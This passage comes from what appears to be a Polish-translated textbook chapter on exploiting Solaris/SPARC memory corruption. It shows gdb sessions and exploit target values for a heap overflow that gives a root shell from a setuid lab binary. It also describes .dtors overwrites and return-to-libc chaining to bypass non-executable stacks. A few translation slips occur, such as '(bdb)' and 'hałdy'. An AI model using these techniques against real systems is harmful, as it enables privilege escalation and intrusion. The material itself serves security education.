W tym przypadku overwrite_location jest adresem w pamięci do nadpisania, a overwrite_value jest wartością, którą należy nadpisać. W sposobie, w jaki ten konkretny exploit buduje strukturę TREE, overwrite_location jest analogiczny do elementu sp struktury, podczas gdy overwrite_value odpowiada elementowi tp. Po raz kolejny, ponieważ wykorzystuje on lokalnie wykonywalny plik binarny, exploit będzie przechowywać szelkod w środowisku. Na początek exploit zainicjuje overwrite_location z adresem, który nie jest wyrównany do 4 bajtów. Spowoduje to natychmiast błąd BUS podczas pisania na ten adres i pozwoli nam przerwać wykonywanie programu w odpowiednim momencie, aby zbadać pamięć i zlokalizować informacje potrzebne do zakończenia exploita. Pierwsze uruchomienie exploita daje następujące wyniki:

Program otrzymał sygnał SIGBUS, błąd magistrali.

0xff2c272c in t_delete () from /usr/lib/libc.so.1

(gdb) x/i $pc

0xff2c272c <t_delete+52>: st %o0, [%o1 + 8]

(gdb) print/x $o1

$1 = 0xffbf122b

(gdb) print/x $o0

$2 = 0xffbffcc4

(gdb)

Wykorzystywany program umiera w wyniku sygnału SIGBUS generowanego podczas próby zapisu do naszego niewłaściwie dopasowanego adresu pamięci. Jak widać, rzeczywisty adres zapisany do (0xffbf122b + 8) odpowiada wartości overwrite_location, a zapisywana wartość jest również tą, którą wcześniej podaliśmy. Teraz wystarczy tylko zlokalizować nasz szelkod i nadpisać odpowiedni cel. Nasz szelkod znów można znaleźć w górnej części stosu, tym razem wyrównanie jest przesunięte o 3 bajty.

(bdb)

0xffbffa48: 0x01108001 0x01108001 0x01108001 0x01108001

0xffbffa58: 0x01108001 0x01108001 0x01108001 0x01108001

0xffbffa68: 0x01108001 0x01108001 0x01108001 0x01108001

Spróbujemy nadpisać zapisaną wartość licznika programu na stosie, aby przejąć kontrolę nad programem. Ponieważ zmiana rozmiaru środowiska prawdopodobnie nieznacznie zmieni stos programu, dostosujemy wartość wyrównania w strukturze docelowej do 3 i ponownie uruchomimy exploit. Po wykonaniu tej czynności zlokalizowanie dokładnego adresu zwrotnego w miejscu awarii jest stosunkowo łatwe.

(gdb) bt

#0 0xff2c272c in t_delete () from /usr/lib/libc.so.1

#1 0xff2c2370 in realfree () from /usr/lib/libc.so.1

#2 0xff2c1eb4 in _malloc_unlocked () from /usr/lib/libc.so.1

#3 0xff2c1c2c in malloc () from /usr/lib/libc.so.1

#4 0x107bc in main ()

#5 0x10758 in frame_dummy ()

Ślad wsteczny stosu da nam listę odpowiednich ramek stosu, z których możemy wybrać. Możemy wtedy uzyskać informacje potrzebne do nadpisania zapisanego licznika programu w jednej z tych ramek. W tym przykładzie spróbujmy klatki numer 4 . Im wyżej w drzewie wywołań znajduje się funkcja, tym bardziej prawdopodobne jest, że jej okno rejestru zostało opróżnione na stos; jednak funkcja w ramce 5 nigdy nie zwróci.

(gdb) i frame 4

Stack frame at 0xffbff838:

pc = 0x107bc in main; saved pc 0x10758

(FRAMELESS), called by frame at 0xffbff8b0, caller of frame at

0xffbff7c0

Arglist at 0xffbff838, args:

Locals at 0xffbff838,

(gdb) x/16x 0xffbff838

0xffbff838: 0x0000000c 0xff33c598 0x00000000

0x00000001

0xffbff848: 0x00000000 0x00000000 0x00000000

0xff3f66c4

0xffbff858: 0x00000002 0xffbff914 0xffbff920

0x00020a34

0xffbff868: 0x00000000 0x00000000 0xffbff8b0

0x0001059c

(gdb)

Pierwsze 16 słów ramki stosu to zapisane okno rejestru, z których ostatnie jest wskaźnikiem zapisanej instrukcji. Wartość w tym przypadku to 0x1059c i znajduje się pod adresem 0xffbff874. Mamy teraz wszystkie informacje niezbędne do podjęcia próby ukończenia naszego exploita. Ostateczna struktura docelowa wygląda następująco:

struct {

char *name;

```
int buffer_length;

unsigned long overwrite_location;

unsigned long overwrite_value;

int align;

} targets[] = {

{

“Solaris 9 Ultra-Sparc”,

64,

0xffbff874,

0xffbffa48,

3

}

};
```

Teraz, aby wypróbować exploit i sprawdzić, czy rzeczywiście działa zgodnie z przeznaczeniem, wykonujemy następujące czynności:

```
$ ls -al heap_overflow

-rwsr-xr-x 1 root other 7028 Aug 22 00:33 heap_overflow

$ ./heap_exploit 0

# id

uid=0(root) gid=60001(nobody)

#
```

Exploit działa zgodnie z oczekiwaniami i jesteśmy w stanie wykonać dowolny kod. Chociaż exploit na stercie był nieco bardziej skomplikowany niż przykład przepełnienia stosu, po raz kolejny reprezentuje najlepszy scenariusz wykorzystania; niektóre z wymienionych wcześniej komplikacji prawdopodobnie pojawią się w bardziej złożonych scenariuszach eksploatacji.

Inne techniki eksploatacji Solarisa

Pozostało jeszcze kilka ważnych technik dotyczących systemów opartych na Solarisie, które powinniśmy omówić. Jednym z nich, na który najprawdopodobniej się natkniesz, jest niewykonywalny stos. Te zabezpieczenia można pokonać, zarówno w systemie Solaris, jak i w innych systemach operacyjnych, więc przyjrzyjmy się, jak to zrobić.

Przepełnienie danych statycznych

Przepełnienia, które występują w danych statycznych, a nie na stercie lub stosie, są często trudniejsze do wykorzystania. Często muszą być oceniane indywidualnie dla każdego przypadku, a pliki binarne muszą być badane w celu zlokalizowania użytecznych zmiennych w pobliżu bufora docelowego w pamięci statycznej. Organizacja zmiennych statycznych w pliku binarnym nie zawsze jest oczywista

poprzez badanie kodu źródłowego, a analiza binarna jest jedynym niezawodnym i skutecznym sposobem określenia, do czego się przepełnia. Istnieje kilka standardowych technik, które okazały się przydatne w przeszłości do wykorzystywania przepełnień danych statycznych. Jeśli twój bufor docelowy rzeczywiście znajduje się w sekcji .data, a nie w .bss, może być możliwe przepełnienie poza granice bufora i do sekcji .dtors, w której znajduje się wskaźnik funkcji stop. Ta funkcja wskaźnika jest wywoływany, gdy program się kończy. Pod warunkiem, że nie zostały nadpisane żadne dane, które spowodowały awarię programu przed exit(), gdy program zakończy działanie, wskaźnik nadpisanej funkcji stop zostanie wywołany wykonaniem dowolnego kodu. Jeśli twój bufor jest niezainicjowany i znajduje się w sekcji .bss, twoje opcje obejmują nadpisanie niektórych danych specyficznych dla programu w sekcji .bss lub przepełnienie z .bss i nadpisanie sterty.

Omijanie niewykonywalnej ochrony stosu

Nowoczesne systemy operacyjne Solaris są dostarczane z opcją uniemożliwiającą wykonywanie stosu. Każda próba wykonania kodu na stosie spowoduje naruszenie zasad dostępu i awarię programu, którego dotyczy problem. Ochrona ta nie została jednak rozszerzona na sterty lub obszary danych statycznych. W większości przypadków ochrona ta stanowi jedynie niewielką przeszkodę w eksploatacji. Czasami możliwe jest przechowywanie szelkodu na stercie lub w innym zapisywalnym obszarze pamięci, a następnie przekierowanie wykonania na ten adres. W takim przypadku ochrona stosu niewykonywalnego będzie bez znaczenia. Może to nie być możliwe, jeśli przepełnienie jest wynikiem operacji kopiowania ciągu, ponieważ adres sterty najczęściej zawiera bajt null. W tym przypadku przydatny może być wariant powrotu do techniki libc wymyślony przez Johna McDonalda. Opisał sposób łączenia wywołań bibliotek poprzez tworzenie fałszywych ramek stosu z niezbędnymi argumentami funkcji. Na przykład, jeśli chcesz wywołać funkcje libc setuid, po których następuje exec, utworzysz ramkę stosu zawierającą poprawne argumenty dla pierwszej funkcji setuid w rejestrach wejściowych i zwróci lub przekieruje wykonanie do setuid w libc.so.1. Jednak zamiast wykonywać kod bezpośrednio od początku setuid, wykonałbyś kod w funkcji po instrukcji save. Zapobiega to nadpisywaniu rejestrów wejściowych, a argumenty funkcji są pobierane z bieżącego stanu rejestrów wejściowych, który będzie kontrolowany przez Ciebie poprzez skonstruowany stos ramka. Ramka stosu, którą utworzysz, powinna załadować prawidłowe argumenty dla setuid do rejestrów wejściowych. Powinien również zawierać wskaźnik ramki, który łączy się z innym zestawem zapisanych rejestrów skonfigurowanych specjalnie dla exec. Licznik zapisanego programu (%i7) w ramce stosu powinien być licznikiem exec plus 4 bajty, z pominięciem tam również instrukcji save. Kiedy setuid jest wykonywany, powróci do exec i przywróci zapisane rejestry z następnej ramki stosu. W ten sposób można połączyć ze sobą wiele funkcji bibliotecznych i w pełni określić ich argumenty, omijając w ten sposób ochronę stosu niewykonywalnego. Jednak konieczne jest poznanie konkretnej lokalizacji funkcji bibliotecznych, a także konkretnej lokalizacji ramek stosu, aby je połączyć. To sprawia, że atak ten jest bardzo przydatny w przypadku lokalnych exploitów lub exploitów, które są powtarzalne i dla których znasz specyfikę systemu, który wykorzystujesz. Cokolwiek innego, ta technika może mieć ograniczoną użyteczność.

Wniosek

Chociaż pewne cechy architektury SPARC, takie jak okna rejestrów, mogą wydawać się obce osobom zaznajomionym tylko z x86, to po zrozumieniu podstawowych pojęć można znaleźć wiele podobieństw w technikach exploitów. Wykorzystywanie klas błędów off-by-one jest utrudnione przez bigendiański charakter architektury. Jednak praktycznie wszystko inne można wykorzystać w sposób podobny do innych systemów operacyjnych i architektur. Solaris na SPARC przedstawia kilka unikalnych wyzwań związanych z eksploatacją, ale jest również bardzo dobrze zdefiniowaną architekturą i systemem operacyjnym, a wiele z opisanych tutaj technik exploitów może działać w większości sytuacji. Zawiłości

we wdrażaniu hałdy stwarzają możliwości eksploatacyjne, o których nie myślano jeszcze. Dalsze techniki eksploatacji, które nie zostały wymienione w tym rozdziale, zdecydowanie istnieją i masz mnóstwo okazji, aby je znaleźć.